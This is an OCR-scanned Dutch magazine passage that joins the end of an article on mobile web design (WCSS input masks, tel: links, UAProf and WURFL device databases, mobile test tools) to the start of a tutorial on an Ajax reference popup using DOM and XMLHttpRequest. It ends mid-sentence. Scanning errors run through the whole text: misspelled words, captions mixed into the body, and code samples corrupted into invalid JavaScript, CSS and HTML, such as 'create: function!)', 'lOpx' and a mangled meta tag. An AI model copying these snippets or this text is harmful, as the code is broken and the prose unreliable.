<meta http-eq u rv—"’Expires" content—"’Toe, 11 Aug 2008/ 

14:CK>dX> GMT7> 

<meta fottp-equiv="Cache-Control" content= n maK-age=/ 

8640Q7> 


De pagina geeft aan wanneer die het laatst 
gewijzigd is en vraagt vervolgens met twee 
redundante opdrachten om bin nen een dag 
(dus na 86.400 seconden) uit de browsercache 
verwijderd te worden. Overigens is het beter 
om zulke opdrachten direct via HTTP te com- 
municeren omdat HTTP-headers voorrang 
hebben boven hun HTML-equivalenten, Als je 
geen toegang hebt tot de serverconfiguratfe, 
dan kun je dit met scripttalen voor elkaar krij- 
gen, bijvoorbeeld met PHP: 

h ead erf "Cache-ControL: max-age=86400"); 

Maar het zijn vooral formulieren die bij mobiel 
gebruik problemen opleveren. Met name tekst- 
invoervelden moeten zich tot het noodzakelijk- 
ste beperken. Als je alleen de gebruikelljke 10 
knoppen tot je beschikking hebt, zul je tussen 
de cijfer- en lettermodus been en weer moeten 
switches Hierbij helpteen WCSS-specialiteit: 


< input name="Name h slyLe= r -wap-input-fornnat: "A*a ,l "/> 


Voor dit invoerveld zal je mobieltje een hoofd- 
letter gevolgd door een aantal kleine letters 
aanbleden. Het invoerformaat voor pincodes 
is bijvoorbeeld "NNNN " of kortweg n 4N ". Deze 
string moet tussen dubbele aanhalingstekens 



De MobilePages-generator die Strato aan 
zijn klanten aanbiedt, heeft zo zijn gebre- 
ken, maar helpt bij de eerste stapjes op weg 
naar een smartphonevriendelijke website. 
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De mTLD-test geeft onze mobiel vriendelijke website een goede waar- 
dering... 


terwijl de W3C-test nog wel wat verbeteringsmogelijkheden ziet. 


W3C nwbileOK Checker 
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staan omdat vee! oude browsers niet met en- 
kele overweg kunnen. Verder kun je het beste 
geen invoervelden met gemaskeerde inhoud 
gebruiken (<input type="pass word 7>), aangezlen 
die een crime zijn voor het invoeren op je mo- 
bieltje. 

Ook voor selectielijsten en radiobuttons 
zijn er betere op los sin gen. In plaats van a lies 
in een groot formulier te proppen, kun je dan 
beter klezen voor een wizard. Daarbij kun 
je selectiedialogen beter als links opnemen. 
Voor het versturen van de formuliergegevens 
maak je gebruik van GET- of POST-parameters 
en niet van cookies. Veel mobiele browsers 
weten name! tjk niet wat ze daar mee aan moe- 
ten, terwijl andere browsers beperkt zijn in de 
grootte en het aantal cookies. 

Een spedale website voor mobiel gebrulk 
kan en moet niet het volledige funaieaanbod 
van een standaard website biedea Overtgens 
hebben de meeste mobiele apparaten wel een 
voordeel: je kunt er ook nog mee bellen! Er zijn 
twee spedale url's die links naar telefoonnum- 
mers ondersteunen, zodat je er direct vanult 
de browser naar kunt bellen. Een link als <a 
href="wtal://wp/mc;+311234567e90 M >... voIgt de WAP 
IT -specificatie, terwijl <a href^ ,, tel:+3n234S67S90 M > 
zich op IETF (RFC 2806 en 3966) orienteert. 
Belde zouden het moeten doen. De IPhone 
herkent zelfs telefoonnummers die als platte 
tekst op een webpagina staan. 

Bouwen, testen, verbouwereerd 

Bij het In elkaar zetten van een mobiele web¬ 
site kun je een groot aantal hulpmiddelen in- 
zetten. Hrerbij is de vrije op Java gebaseerde 
J2ME Polish zeker de moeite waard, die in ont- 
wikkelomgevingen als Eclipse geintegreerd 
kan worden. Veel fabrikanten van mobiele 
apparaten bleden zelf ook tools aan. Zo staat 
er bij Nokia een 'Mobile Internet Toolkit' op de 
forum site. Als je voorbeelden van een mobiele 


site zoekt, kun je je door Luca Passanfs tem¬ 
plates laten inspireren. Er is zelfs al een eerste 
JavaScript-bibliotheek voor de steeds krach- 
tlgere mobiele browsers: Frost Ajax Library 
heeft als doet eenvoudlge Ajax-websites voor 
mobiel gebruik mogelijk te maken. 

Als je in het bezit bent van een Strato-hos- 
tlngpakket,dan hebje het helemaal makkelijk. 
Bij Strata heb je namelijk een "MobilePages- 
wizard tot je beschikking, waarmee je uit zo'n 
vierentwintig sjablonen kunt kiezen en je site 
makkelijk in een WYSIWYG-editor kunt samen- 
stellen. Vervolgens kun je die in een simulator 
testen. Strato maakt voor deze service gebruik 
van mobiSiteGalore.com, die zijn dlensten ook 
aan mTLD (http://site.mobi) ter beschikking 
stelt. Na een gratis registratie worden je pa¬ 
ginal via FTP op de Webserver gezet. 

Toch zitten er nog wel wat ha ken en ogen 
aan het resultaat. De bediening loopt nog niet 
helemaal lekker, de broncode heeft een wat 
vreemde opbouw en de kleur van de links in 
de geteste sjablonen druist in tegen de ge- 
br u i kerscon ve nt tes. 

Voor een eerste kwaliteltscontrole zijn er 
twee online tests beschlkbaar. De mTLD heeft 
bijvoorbeeld een testsite (httpV/ready.mobi) 
waar je een overzicht krijgt van de grootte, 
downloadtijd en de kosten bij het op roe pen 
van je mobiele website. Hierbij kun je op de 
site vijf typen mobieltjes simuleren. Verras- 
send genoeg is de mTLD-test razend enthou- 
siast: behalve dat onze mobiele website voor 
elke afzonderlijke test siaagt, krijgt hij ook nog 
eens de hoogste waardering. 

Dan is de door W3C aangeboden mobileOK- 
checker (httpV/vaIidator.w3.org/mobile) wel 
wat kieskeuriger. Die weigert de gebruikte 
XHTML MP 1.0 en de absolute waarden in 
stylesheets goed te keuren. Het W3C ziet liever 
XHTML Basic en de eenheid em In plaats van px. 
We krijgen een terechte verwijzing naar de on- 
zinnige code. Maar biljkbaar is de vraag wat bij 


mobiel webdesign een goede stijl is ook een 
kwestie van welke school Jeaanhangt 

De talrijke simulators voor het online testen 
of Installeren geven een eerste indruk van de 
sterke en zwakke punten, De 'Klein schernT- 
optie van de desktopversie van Opera (Shift + 
FIT) geeft echte' websites weer zoals op een 
mo bieltje, maar geen speciale mobiele sites. 
Uiteraard leveren tests met echte mobieltjes 
en echte gebruikers betrouwbaardere resulta- 
ten op dan zulke simulaties. 

Browsercatalogus 

Er zijn al meerdere initiatieven op touw gezet 
om webdesigners de helpende hand te ble¬ 
den In de chaos van extreem uiteenlopende 
browsers en apparaten. Deze initiatieven gaan 
veel verder dan de normale pogingen om 
met browserherkenning, JavaScript en derge- 
lijke te achterhalen om welke client het gaat 
('browser sniffing"). 

Zo staan er van bijna alle standaard geTn- 
stalleerde mobiele browsers vrij toegankelijke 
gegevensproftelen op internet. Deze UAProf- 
data sheets (User Agent Profile) zijn bij de url te 
vinden die in de optionele HTTP-requesthea- 
der HTTP-X-WAP-PROFILE staat. Niet alle infor- 
matie in dit XML-document conform de OMA- 
specificatie LIAProf is even spannend, maar je 
kunt er wel gedetailleerde informatie over her 
gebruikte display in vinden, zoals de grootte, 
de resolutie, kleurweergave en de standaard 
tekengrootte. 

Het UAProf-attribuut CCPPACCEPT geeft bij¬ 
voorbeeld een fijst met de MIME-typen die het 
mo bieltje ondersteunt. De standaard HTTP- 
header HTTP_ACCEPT doet hetzelfde, maar 
die stelt zich in het algemeen tevreden met 
een handjevol MIME-typen, om de rest met 
de wildcard *f* af te doen. CCPPACCEPT komt 
met veei betere terugmeldingen, bijvoorbeeld 
of het apparaat Flash ondersteunt en welke 
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afbeeldingen- en multimediaformaten zijn 
toegestaan. Details over tekensets, versleute- 
lingsprotocollen, browsernaam en -versie en 
ondersteuning voor JavaScript en Java-applets 
maken van deze gegevens een goudmijn aan 
informatie. 

Soortgelijke informatie is ook uit het open- 
sourceproject WURFL (Wireless Universal Re¬ 
source File) te halen. De kern van dit project 
bestaat uit een XML-bestand van zo'n 7 MB 
waarin de belangrijkste mobiele apparaten zijn 
opgenomen. In tegenstelling tot de UAProf- 
datasheet is de informatie die in de open- 
sourcedatabase wordt opgenomen niet afkom- 
stig van fabrikanten, maar van eindgebruikers. 

Via browserherkenning filter je de juiste 
entry uit de database. Onder de <device>-tag 
staan de apparaten met hun bijbehorende ei- 
genschappen (<capability>) / die geordend zijn 
in groepen (<group>) als 'productjnfo', ’wml_ 
ui* en ’xhtml_ui’. Voorbeelden van bijzonder 
interessante eigenschappen zijn 'has_qwer- 
ty_keyboard' (hard- of softwarematig toet- 
senbord), 'xhtmLsupportJevel', die van -1 
(geen XHTML) tot 4 (volwaardige HTML/CSS/ 
Ajax-ondersteuning) loopt, ’resolution_width' 
en 'resolution_height' (beeldschermgrootte), 
evenals 'flashJite' en 'svgt_1_V voor de vec- 
torformaten Flash en SVG Tiny. 

WURFL steekt in veel opzichten boven 
UAProf uit. Sommige eigenschappen heb- 
ben een beoordelend karakter en zijn het 
resultaat van gebruikerservaringen en tests. 
Hierdoor is de database ook echt praktijkge- 
richt. Het grootste probleem is dat de gede- 
tailleerdheid van de WURFL-records erg uit- 
eenlopen bij de verschillende apparaten. Qua 
betrouwbaarheid hoeft WURFL amper voor 
UAProf onder te doen. Dat niet elke fabri- 
kant zijn documentatieplicht serieus neemt, 
weten we al van veel gebruikershandleidin- 
gen. Bij WURFL kun je een fout in ieder geval 
corrigeren. 

Een duidelijk voordeel van dit opensource- 
project is de betere ondersteuning bij het 


c't Mobiele testsuite 

HTTP 2: UAProf-datasheet 

Verder: HTTP 3 

UAPrtf-stetastefit 

BITSPERPtXEL 

• 12 

C OCORC AP ABLE 

• Ym 

image capable 

• YM 

INPUTCHARSET 

• ISO-8859-1 

• ISO- 10646-UCS-2 

• US* ASCII 

• UTF-8 

KEYBOARD 

• PhonaKvyPMl 

MODEL 

• 3205 

NUMBEROFSOETKEYS 

• 2 

outputcmaaset 

• ISO-8859-1 

• ISO- I0B46-UCS-2 

• US-ASCII 

• UTF-8 


De c't Mobiele Testsuite maakt gebruik van 
de UAProf-datasheet en geeft de inhoud 
weer in leesbare vorm. 


programmeren. Er 
zijn kant-en-klare pro¬ 
gram mabibliotheken 
beschikbaar voor alle 
gebruikelijke webpro- 
grammeertalen. Hier¬ 
door wordt het door- 
ploegen van de database 
een stuk makkelijker. 
Voor UAProf en de tot 
dusver ongebruikelijke 
W3C-tegenhanger CC/ 
PP is er DELI, dat in ieder 
geval het werk van Java- 
ontwikkelaars verlicht. 

Toch is er een pro¬ 
bleem dat WURFL en 
UAProf gemeen hebben: 
beide ondersteunen al- 
leen de door de fabrikan¬ 
ten bepaalde combinatie 
van hard- en software. 
Als de gebruiker een an- 
dere browser installeert 
dan die is meegeleverd, 
kom je daar met de data¬ 
bases niet uit. 

c’t mobieltest 



Emulators die het gedrag van oudere mobieltjes simuleren, 
kunnen de zenuwen van webdesigners flink op de proef stellen. 
Hier zie je alles wat er van de c't-website overblijft. 


Door middel van de c't Mobiele Suite willen 
we je een handig hulpmiddel geven om de 
browsermogelijkheden te achterhalen (zie 
softlink). Je kunt de suite downloaden en de 
inhoud van het zip-archief op een Webserver 
met PHP-ondersteuning draaien. De software 
moet ook met oudere versies van PHP4 samen- 
werken. We raden hierbij aan om de map niet 
algemeen toegankelijk te maken, maar bij- 
voorbeeld met een wachtwoord te beveiligen. 
Ook is het handig om de map een korte naam 
te geven of een url-aliasing-service alsTinyURL 
te gebruiken. 

In het eerste deel van de test wordt de HTTP- 
requeststring van de browser geanalyseerd en 
de UAProf- en WURFL-gegevensbestanden 
uitgelezen. Bij de andere tests op HTTP-onder- 
steuning (cookies, HTTPS, POST-formulieren en 
domeinen met trema’s) wordt naar tekstcode- 
ringen en geinstalleerde fonts gekeken. 

Niet elke mobiele browser ondersteunt 
mobiele webstandaarden als WML en WCSS, 
een kwestie waar het volgende testonderdeel 
zich aan wijdt. Uiteraard moeten mobieltjes 
ook met standaard XHTML overweg kunnen, 
met inbegrip van de voor mobiele websites 
nuttige numerieke sneltoetsen, maar helaas 
ook met inbegrip van probleemgebieden als 
frames en pop-upvensters. 

De CSS-test loopt van standaard opmaak- 
elementen tot niet echt alledaagse selectoren, 
positioneringsopdrachten en pseudoklassen 
en -elementen. Een spannende vraag is of de 
browser stijlen kan uitvoeren die voor hand- 
held-toestellen bestemd zijn. Dit maakt het 
voor webmasters mogelijk om hun site met 
minimale moeite om te bouwen voor mobiel 
gebruik. Helaas worden deze inspanningen 
ondermijnd door de trend om mobieltjes met 
desktopbrowsers uit te rusten. 


lets waar de kleine apparaten het bijzonder 
moeilijk mee hebben is JavaScript. De testsui¬ 
te laat zien hoe de nieuwere JavaScript-versies 
het doen en op welke manier je de document- 
structuur kunt aanpassen. Rest nog de vraag 
hoe het eruit ziet met de laatste ontwikkelin- 
gen: bij de Ajax-test wordt er geprobeerd om 
een extern XML-gegevensbestand asynchroon 
in te lezen en de gegevens weer te geven. 

Het volgende testonderdeel onderzoekt 
de mogelijkheden met XML. Moderne brow¬ 
sers moeten bijvoorbeeld in staat zijn gefor- 
matteerde newsfeeds goed weer te geven. 
XSL-transformaties zijn meer iets voor gevor- 
derden. 

Naast de standaard formaten voor afbeel¬ 
dingen moeten de mobieltjes ook het vec- 
torformaat SVG kunnen weergeven. Flash, 
Flash-video (FLV) en Java-applets zijn overal 
op internet te vinden, maar voor mobiele ap¬ 
paraten vormen ze nog een probleem. 

Met deze suite moet het mogelijk zijn om 
betrouwbaar in te schatten wat een mobiele 
browser wel en niet kan. Browsers op de pc 
en Mac zijn ondanks een aantal detailfoutjes 
goed geconstrueerd en solide. Maar daarnaast 
is er een snel toenemende wildgroei van de 
meest uiteenlopende apparaten, browsers en 
tarieven. En daar moet je je goed in orienteren 
voordat je je in het avontuur van het mobiele 
web stort. (mda) 
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Herbert Braun 


Verbouwen 
met Ajax 


Dynamische websites met externe gegevensbronnen zelf programmeren 


Sinds de opkomst van Web 2.0 in 2005 heeft het begrip Ajax een snelle carriere achter de rug. Daar zit 
verder geen geheimzinnige of complexe techniek achter, zeifs met simpele tools is dat at te gebruiken. 
In een voorbeeld met referenties naar andere artikelen laten we de onderliggende gedachten zien. 


E igenlijk is Ajax helemaal niet zo nieuw. 
Het gaat namelijk slechts om een com- 
binatie van bekende techmeken met 
een nieuw fabd: de afkorting Ajax staat voor 
Asynchronous JavaScript and XML f en is ge- 
baseerd op XFTTML en CSS, Ajax kan van starre 
websites iets maken dat aanvoeit als een 
desktop toepassing en verandert daardoor de 
manier waarop mensen het web ervaren en 
gebruiken. 

Het klelne maar beiangrijke verschil zit 
hem in het felt dat Ajax-webpagina's niet na 
iedere nieuwe invoer van de gebrufker weer 
helemaal opnieuw geladen en opgebouwd 
hoeven te worden. In plaats daarvan halen ze 
de informa tie op de achtergrond op Als je een 
snelle internet verb! nding hebt, gaat dit bljna 
zonder vert raging. De browser toont deze ge- 
gevens met behufp van het Document Object 
Model (DOM) en JavaScript op de al gerender- 
de webpagina. Deze paginal gebruiken voor 
de weergave vaak drag&drop of in- en uitklap- 
bare delen - voor programmas is dat redelijk 
normaaL 

Wat de techniek Ajax te maken heeft met de 
sociaalculturele trend Web 2.0 wordt pas duh 


delijk als je de zaken wat nauwkeuriger bekijkt: 
Ajax-websites imiteren desktoptoepassingen 
en maken het daardoor mogelijk om geza- 
menlijk aan projecten te werken. De gebruiker 
wordt daarmee onafhankelijk van geinstalieer- 
de software. Als de interfaces van deze toe pa s- 
singen open zijn, kunnen creatieve gebrutkers 
deze veranderen en combineren met andere 
web-API's. 

In de begintijd van het web werden dit soort 
websites, die net als een programme werkea 
nog met Java gemaakt Maar al snet veroverde 
het sfanke vectorformaat Flash de harten van 
webdestgners. Dat kwam vooral door de aan- 
trekkelijke effecten die met Flash mogelijk zijn. 
Ajax mag dan wel niet zo krachtlg zijn, maar 
gebruikt wel open standaardtechnieken en 
werkt (mits correct geprogrammeerd) zonder 
extra plug-ins en metelke modeme browser. 

Referenties 

Als eenvoudig voorbeeld laten we Ajax zor- 
gen voor de weergave van referenties in een 
wetenschappelijke tekst - een praktlsch voor¬ 
beeld, omdat daar geen kant-en-klare oplos- 


sing in HTML voor bestaat. Norma a I gespro- 
ken laat een webdesigner je met tekstankers 
in de tekst heen en weer sprEngen of wordt er 
een tekst met een servers!de script in een pop- 
pupvenster getoond. 

Voor de oplossing met Ajax heb je alleen 
statische pagina s van een Webserver nodig. 
Alle referenties bevinden zich En een primltief 
XML-bestand Door te klikken op een refe- 
rentiedjfer dat wordt we erg eg even als link, 
opent het script het XML-bestand, vist er de 
gewenste tekst ult en presenteert deze in een 
fraai tekstkader. Als de lezer de reference heeft 
gelezen kan hij deze wegklikken. Om het al- 
lemaal nog wat levendiger te maken, is het 
tekstkader ook met de muss te verplaatsen. 
Een kant-en-klare versie van het script staat op 
de cover-dvd, 

fn het HTML-document merk je helemaal 
niets van de scripts en een CSS-bestand zorgt 
voor de looks’ - inhoud, presentatie en appii- 
catieEogica blijven dus duidelijk gescheiden. 
De toepassing werkt dan ook onder alle hui- 
dige versies van de befangrijkste browser en¬ 
gines Internet Explorer, Firefox, Opera, Chrome 
en Safari. 
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Ajax heeft wel een achilleshiel, want bij ou- 
dere browsers en ongebruikelfjke engines 
treden er problemen op. Je moet als web- 
destgner dan teruggrijpen op nieuwe, deels 
nog niet gestandaardiseerde functies en je 
moet dan verschsllende browsed mpJemen- 
taties afvangen. Dan worden webstandaar- 
den moetltjk vo! te houden en ingeburgerde 
gebruikseonverities als de Vorige'- of Terug- 
knop en het toevoegen van Favorieten of 
Bookmarks moet je indien nodig zelf met 
veel moeite nabootsen. Om ergernis te voor- 
komen moet je in ieder geval met een noscript- 
tag een waarschuwrng geven wanneer de 
browser geen scripts toestaat. JavaScript- 
meldingen voorkomen problemen met ver- 
ouderde browsers. 

GeDOMesticeerd 

Om de referentletoepassing van de web¬ 
site te stheiden, maakt het script een nieuw 
div-element aan als container. Wanneer de 
gebruiker de reference sluit„ verwijdert een 
ander script de container indusief inhoud. 
Het Document Object Model (DOM) is ver- 
antwoordelijk voor het dynamisch aanma- 
ken en verwijderen van het element, 

DOM is de verbindmg tussen de webpagi- 
na en de scripttaal - en de voornaamste reden 
dat Ajax-toepassingen lastig te schrijven zijn. 
Het geeft de pagina weer als een objecttree, 
waarin Ieder element een node Is. Om dat 
wat fnzichtelijker te maken, kun je het beste 
een blik werpen op ontwikkeltools die Opera, 
Safari, Chrome en IE 8 meeleveren. Ook de 
in Firefox gemtegreerde uitbreiding DOM In¬ 
spector en de IE Developer Toolba r voor Inter¬ 
net Explorer 7 zijn daar voor te gebruiken. 

DOM ontstond aan het einde van de jaren 
90 uit de resten van twee proprietalre DHTML- 
oplossingen: Netscapes Layer-concept en het 
document.aLl-object dat Microsoft met Internet 
Explorer 4 invoerde. Het door W3C gespecifi- 
ceerde DOM Is daarentegen browser-en zelfs 
taalonafhankelijk; in de praktijk wordt het als 
onderdeel van JavaScript gebruikt 

DOM is niet beperkt tot HTML, maar geldt 
evengoed voor XML. in Ajax-applicaties 
wordt DOM gebruikt om de dynamische ele- 
menten in een website te integreren en om 
de externe XML-bestanden te parsen. Met 
DOM Level 2 kun je ook gebruikersacties 
bewaken [1], De sinds 2004 actuele versie 3 
heeft bij de webdesigners nog maar weinig 
weerklank gevonden. 

Containerbouw 

Uitgangspunt voor het programmeren van 
het voorbeeid is het genereren van een con- 
tainerobject met de functie aanmakertO- Samen 


De DOM Inspector, een in Firefox 
ingebouwde uitbreiding, toont 
documentobjecten dynamisch in een 
boomstructuur. 


met andere functies en variabelen zltdeze in 
een handzaam object met de naam FN. Dat 
voorkomt conflicten met variabelennamen, 
afs er tegelijkertijd meerdere scripts gebruikt 
worden. 

var F H - 

{ 

container: null, 
referentretekst: null, 
create: function!) 

{ 

FN container = doafmenureateElement( W); 
FN.container.id - "referenties"; 

FW.refere ntietekst - document create ELe men tL'p' 1 ); 

FN .contai ne r.a pp e ndChi Ld (FN .referentietekst); 
return FN .container; 

} 

l 

FN.ccntainer bevat nu een DIV-eiement met 
daarin een lege tekstinhoud. De DOM- 
functie createOementO maakt het element wef, 
maar het moet nog wel metappendChiLd() in de 
HTML-structuur worden gehangen, De DIV- 
container krijgt de !D ' references; zodat er 
een stylesheet bij gebruikt kan worden, Om 
later de tekstinhoud makkelijk te kunnen 
vullen is hij als variabele FN.referentietekst gede- 
clareerd. 

Eerste aanroep 

Voor een eerste test roep je een referentie- 
nummer in het HTML-document aan met 
een simpel JavaScript: 

< su p > <a h ref- ' ja vascri pt:referentie{ 7)" > 7</a > < /sup> 

Hierdoor wordt de volgende Java Script-fun c- 
tie opgeroepen: 

function referentie(nr) 

{ 


d ocum ent getELeme nts ByT ag Na me( "body") 10]./ 

ap pen dCh iLd(FW. created)); 

FN.get_content(nr); 

} 

Deze kent de container als laatste child-ele¬ 
ment toe aan de document body, Deze regel 
laat helaas ook zien hoe omslachtig de DQM- 
syntaxis kan zijn: getElementsByTagNamefbody'')[0J 
roept de eerste waarde uit de lijst van ele- 
menten met de tag-naam 'body' op - dat er 
slechts een body kan zijn maakt daarbij niet 
uit. 

Een klik op een referentienummer tovert 
nu een container aan het einde van het docu¬ 
ment tevoorschljn, De DOM Inspector toont 
deze als laatste child-element van <body>. 

De foutconsoles van de browsers kunnen 
je helpen als er fouten optreden. Bij Firefox 
en Opera zitten die in het Extra-menu, bij 
Safari onder Developer' en bij Chrome zit de 
JavaScript-console onder ’Ontwikkelaarl Bij 
Internet Explorer worden de fouten getoond 
doorte dubbelkJikken op het gele waarschu- 
wingssymbool links onder in het venster, 
maar veet wijzer word je daar niet van. 

Container laden 

Een reference aan het einde van het docu¬ 
ment zetten heeft weinig praktisch nut, Een 
stylesheet in het a parte CSS-bestand ct_ref.css 
lost dit probJeem op: 

#refe renties 

{ 

position: fixed; 

top: lOpx; 

left: lOpx 

z-index: 99; 

overflow: auto; 

background-color: #FFFFM; 

border: Ipx solid black; 

! 
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De sectle Preferences heeft betrekking op het 
element met de unieke ID 'references'. De 
container krijgt een lichtgele achtergrond en 
een dunne zwarte rand om de tekst. Bij een 
lange referentie verschijnt er een scrollbalk. 
De container biijft in de tinker bovenhoek van 
het venster, ook als je in het document scrollt. 

Jammer genoeg werkt dat niet overal 
op deze manier: Internet Explorer 6 kent de 
CSS-instructie positiondixed niet. Dan moet je 
dus tandenknarsend toevlucht nemen tot 
posftion:absoLute # waama de referentie meescrollt. 
Daar komt nog bij dat de positie linksboven 
dan gerelateerd is aan het begin van de pagi- 
na en niet aan het actuele venster - bij lange, 
gescrollde documenten is dat ondraaglijk* 
Voor het uitlijnen van de container ten 
opzichte van het venster heb je dan de scroll 
hoogte van de vensteruitsnede nodig, die je 
via JavaScript kunt achterhalen.Twee CSS-re- 
gels in de functie FN.create positioneren dan de 
referentiecontainer linksboven in het venster, 
onafhankelijk van hoe ver je al gescrolld hebt; 

FN .contains nstyleieft - document.doaimentELement./ 
scroll Left + 10 + 11 px"; 

FN.contarner.style.top - document.documentElement./ 
scrollTop + 10 + "px"; 

Styling 

Om er voor te zorgen dat de referentie er Jets 
mooier ultziel krijgt deze nog een titel ('Re¬ 
ferentie 7') en een element om het te sluitea 
Dat lijkt op de titelbalk van een programma: 
een witte titel op een gekleurde achtergrond 
met een kruis in de rechter bovenhoek is 
voor iedereen meteen duidelijk* 

Xitel en link ontstaan, zoals gezegd door 
createQementO en appendthild)); de inhoud van de 
referentiekop wordt gemaakt door document. 
createTextNodef"referentie"). Het doeJ van de link 


wordt dan toegevoegd met de functie set- 
Attribute: 

var link = document.™ teElement("a N ); 

Li nk.setAttribute( "href, "javascri pt:FN.doseQ"); 

De linkinhoud zou ook als beeldelement onder 
a an Link gehangen kunnen worden, maar met 
CSS gaat dat een stuk fraaier; 

^referenties hi a 

{ 

position: absolute; 
top: Opx: 
right: Opx; 
margin: Opt; 
padding: Opt; 
width: 16px; 
height: 14px; 

backg rou nd -i ma ge: u rl( 1 kruis.png 1 ); 

} 

Deze regel heeft betrekking op een link in een 
hl-kop in het element ’referenties', De positie 
van het kruis is daarbij geensztns absoluut 1 : 
deze is gerelateerd aan het eerstvolgende pa¬ 
rent-element oftewel de referentiecontainer. 

Door op het kruisje te klikken wordt de 
functie FN.doseO opgeroepen, die de container 
verwijdert - eerst in het document, later als 
object: 

var FN = 

{ 

dose: functionQ 

l 

d ocum ent. getE LementsByT ag Nam e [" body"} [0]. / 

re m oveCh ild [FN .contain er); 

FN.container = null; 

} 

1 


In de functie reference) nr) zijn dan nog twee 
dingen nodig. Om er voor te zorgen dat het 
beeidscherm niet overwoekerd wordt door 
referentiecontainers, haal je voor het oproe- 
pen van een nieuwe referentie de overblijfse- 
len van een oude referentie weg* Bovendien 
ontbreekt het nummer nog in de kop van de 
referentie: 

function referentie!nr) 

{ 

if [FNxontainer) FN.doseO; 
document.getELe mentsByl agN a me( "bod f) [0],/ 

a p pen dCh itd{ F N created); 
FN .referenti ekop. node Va Lue = "Referentie" + nr; 

FN .get_content(nr>; 

J 

Ajax-sausje 

Het script moet vervolgens het XML-bestand 
met de referenties openen, iniezen en de in¬ 
ha ud op de pagina zetten. Dit wordt gedaan 
door de functie FN.get_content(nr). 

De kern van een Ajax-toe passing is het 
dynamisch laden van gegevens. In Java¬ 
Script is daar een nieuw objecttype voor: het 
XMLHttpRequest-object. Daarmee kan een 
JavaScript-toe passing willekeurige HITP- 
verzoeken verzenden -* ook meerdere tege- 
lijk — en de antwoordstatus bewaken. 

Je moet als programmeur echter wel on- 
derscheid maken tussen enkele varianten, 
omdat niet iedere browser daar op dezelfde 
manier mee omgaat. Microsoft voerde in 
Internet Explorer 5 als eerste asynchrone 
HTTP-requests in, zij het alleen met de eigen 
ActiveX-techniek, De browser kan pas sinds 
versie 7 overweg met de intussen standaard 
geworden syntaxis. Maar dan nog zijn er ver- 
schiilende technieken nodig: 

try 

{ 

FN.ajax = new XMLHttpRequest)); 

1 

catch (w3c) 

{ 

try 

{ 

FN.ajax = new ActiveX0bjea["Msxml2,XMLHTTP ri ); 

J 

catch [msiej 

{ 

try 

{ 

FN.ajax = new ActiveXObject( 1 Microsoft.XMLHTTP N ); 

} 

catch) msie_o Id) 

[ 

alertf'Het werkt niet,.."); 
return false; 

1 

} 

} 

Het script probeert hef eerst met de stan- 
daardtechniek, dan met de huidige en pas 
dan met de oudere ActiveX-componenten. 
De fouten die veroorzaakt worden door het 



Met de uiteindeNjke toepassing kunnen ook referenties met HTML-opmaak ook met links 
worden weergegeven. 
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Een fout, drie 
debuggers: een 
slip-of-the-pen aan 
bet begin van het 
JavaScript-bestand 
(doaimentgetEle- 
mentsByTagName 
zonder r s’) leidt af- 
hankelijk van de 
browser tot behuip- 
zame, onduidelijke of 
onzmnigefoutmeb 
dingen, Linksboven: 
Firefox, rechtsboven; 
Internet Explorer en 
links: Chrome. 


experimenteren worden afgevangen met de 
Java Script-syntax is try catch (tout) {...}. 

Of je nu een ActiveX-component of 
een JavaScript-object gebruikt, als je het 
XMLHttpRequest-object eenmaal hebt aan- 
gemaakt, gedraagt het zich tn de huidige 
browsers bijna hetzelfde. Eerst bereidt de 
methode open() de verbinding voor: 


Dan is het een kwestie van wachten op ant- 
woord. KM LHtm I Request heeft daar een eigen 
event handler voor: 

FN,ajax.onreadystatechange - function() 


{ 


if (FN .ajax, rea dyState -- 4) 

{ 

If (FN.ajax.status 1= 200 M FN.ajax.status \= 0) 


kunt testen. In dat geval 
blijft de HTTP-status 0. Bij 
de kleinere incompatibi- 
Hteiten hoort dat Inter¬ 
net Explorer het 'HTTP' in 
XMLHttpRequest seneus 
neemt en geen andere 
verbindingen tot stand 
brengt. 

Als je experimenteert 
met een vast ingevoerde 
url, krijg je te maken met 
een principle beperking 
van XMLHTTP Request: 
—= een browser maakt uit 

veiligheidsredenen af- 
teen verbindingen binnen hetzelfde domein. 
W3C en de browserprogrammeurs werken 
wel een Cross-Site XHR (Internet Explorer 8 
heeft die functie al) P maar op dit moment is 
die domeinbeperking nog van kracht. 

Afs je toegang tot externe databronnen 
wilt hebben, bijvoorbeeld de webservice 
van een zoekmachine, dan moet je een true 
uitbalen. Een eenvoudig oplosslng is het 
tussenschakelen van een simpele proxy, die 
externe gegevens eerst op de eigen server 
opslaat Een enkele regel in het configuratle- 
bestand van Apache of een paar regels PHP 
of Peri zijn daar genoeg voor. 

Als die hindernissen niet (meer) bestaan, is 
de content van het externe bestand toegan- 
keltjk. De eigenschap responseText be vat dan 
de inhoud afs string. Het alternatieve respons- 
eXML heeft bij een XML-bestand meer nut 
Daardoor zijn zowel een XML-bestand als 
een webpagina te doorzoeken. 

De opbouw van referenties.xml is simpeL 
Onder het root-element <referenties> bevim 
den zich de afzonderlijke <referentie>-elemen- 
ten, waarvan de inhoud zich in een <p>-tag 
bevindt Het referentienummer staat in <nr>. 

Het script leest de afzonderlijke <referentie>- 
etementen in het array refs: 


F N. ajax, open ('GET, ’referenties.xml', true); 

De GET In de eerste parameter staat voor de 
standaardmethode in HTTP, waarmee zon¬ 
der omwegen een document van een server 
wordt gehaald, vergelijkbaar met een kirk 
op een link of het intypen van een url in de 
adresbalk. Het HTTP- protocol kent nog een 
aantal andere request-methoden, zoals POST, 
PUT, HEAD en DELETE. In Ajax-scripts kan een 
webdesigner de HTTP-methode zelf kiezen, 
mits die door de server ondersteund wordt - 
deze mogelijkheid wordt verder alleen door 
formuiieren geboden. 

De derde parameter van de functie defini- 
eert het verzoek als asynchroon. Met false zou 
het script een geheel nieuwe paglna widen 
laden en wachten tot alle gegevens binnen 
zijn* 

Bij het versturen van een POST- of PUT-re- 
quest kunnen gegevens(bestanden) in de 
HTTP body worden verzonden. Bij GET blijft 
de inhoud van het verzoek leeg, het com¬ 
mando is dan ook slechts: 

FN,ajax.send(nutl); 


{ 

a Leri ( ,r Fo utme Ld i ng:" +FN.ajax,statusText); 
return false; 

} 

H gegevens verwerken 

} 


Bij iedere wljziging in de toestand van de 
HTTP-verbinding wordt de anonieme functie 
opgeroepen. Voor readyState zijn vijf toestan- 
den gedefinieerd, die gaan van 0 (met ver- 
stuurd) tot 4 (compleet ontvangen). Meestal 
zal in het iaatste geval de verdere verwerking 
pas beginnen. 

We Ik soort HTTP-antwoord je hebt gekre- 
gen kun je achterhalen met de eigenschap- 
pen status en statusText - heel handig als je 
urenlang probeert om bruikbare gegevens 
uit een 404-fout-pagina te ha ten. De gewens- 
